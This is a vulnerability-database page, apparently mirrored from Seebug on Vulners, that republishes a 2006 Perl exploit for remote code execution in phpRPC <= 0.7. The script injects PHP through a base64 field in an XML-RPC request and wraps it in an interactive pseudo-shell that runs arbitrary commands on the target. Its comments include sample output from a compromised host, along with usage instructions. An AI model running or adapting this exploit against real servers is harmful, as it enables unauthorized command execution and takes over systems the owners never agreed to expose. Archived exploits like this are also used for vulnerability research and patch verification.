Lucene search
K

phpRPC Library <= 0.7 XML Data Decoding Remote Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

phpRPC Library <= 0.7 XML Data Decoding Remote Code Executio

Code

                                                #!/usr/bin/perl
#
#root@host [~]# perl rpc.pl phprpc.sourceforge.net /modules/phpRPC/server.php
#--== IHS IRAN HOMELAND SECURITY ==--
#
#phpRPC &#60;= 0.7 commands execute exploit by LorD (http://www.ihs.ir)
#
#[IRAN HOMELAND SECURITY]$ uname -a;id;pwd
#Linux sc8-pr-web9.sourceforge.net 2.6.10-1.771_FC2smp #1 SMP Mon Mar 28 01:10:51 EST 2005 i686 i686 i386 GNU/Linux
#uid=65534(nfsnobody) gid=65534(nfsnobody) groups=65534(nfsnobody)
#/home/groups/p/ph/phprpc/htdocs/modules/phpRPC
#_end_
#[IRAN HOMELAND SECURITY]$
#
#
# 0rginal Advisory : http://www.gulftech.org/?node=research&article_id=00105-02262006
# Greetz to NT and C0d3r
use IO::Socket;
print &#34;--== IHS IRAN HOMELAND SECURITY ==--\n\n&#34;;
print &#34;phpRPC &#60;= 0.7 commands execute exploit by LorD (http://www.ihs.ir)\n\n&#34;;
if ($ARGV[0] && $ARGV[1])
{
	$host = $ARGV[0];
	$xml = $ARGV[1];
	$sock = IO::Socket::INET-&#62;new( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$host&#34;,
	PeerPort =&#62; &#34;80&#34;) || die &#34;connecterror\n&#34;;
	while (1) {
		print &#39;[IRAN HOMELAND SECURITY]$ &#39;;
		$cmd = &#60;STDIN&#62;;
		chop($cmd);
		last if ($cmd eq &#39;exit&#39;);
		$xmldata = &#34;&#60;?xml version=\&#34;1.0\&#34;?&#62;&#60;methodCall&#62;&#60;methodName&#62;test.method&#60;/methodName&#62;&#60;params&#62;&#60;param&#62;&#60;value&#62;&#60;base64&#62;&#39;));echo &#39;_begin_\n&#39;;echo `&#34;.$cmd.&#34;`;echo &#39;_end_\n&#39;;exit;&#60;/param&#62;&#60;/params&#62;&#60;/methodCall&#62;&#34;;
		print $sock &#34;POST &#34;.$xml.&#34; HTTP/1.1\n&#34;;
		print $sock &#34;Host: &#34;.$host.&#34;\n&#34;;
		print $sock &#34;Content-Type: text/xml\n&#34;;
		print $sock &#34;Content-Length:&#34;.length($xmldata).&#34;\n\n&#34;.$xmldata;
		$good=0;
		while ($ans = &#60;$sock&#62;)
		{
			if ($good == 1) { print &#34;$ans&#34;; }
			last if ($ans =~ /^_end_/);
			if ($ans =~ /^_begin_/) { $good = 1; }
		}
		if ($good==0) {print &#34;Exploit Failed\n&#34;;exit();}
	}
}
else {
	print &#34;Usage: perl rpc.pl host path_to_phpRPC\n\n&#34;;
	print &#34;Example: perl rpc.pl target.com /server.php\n&#34;;
	exit;
}

# milw0rm.com [2006-03-01]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13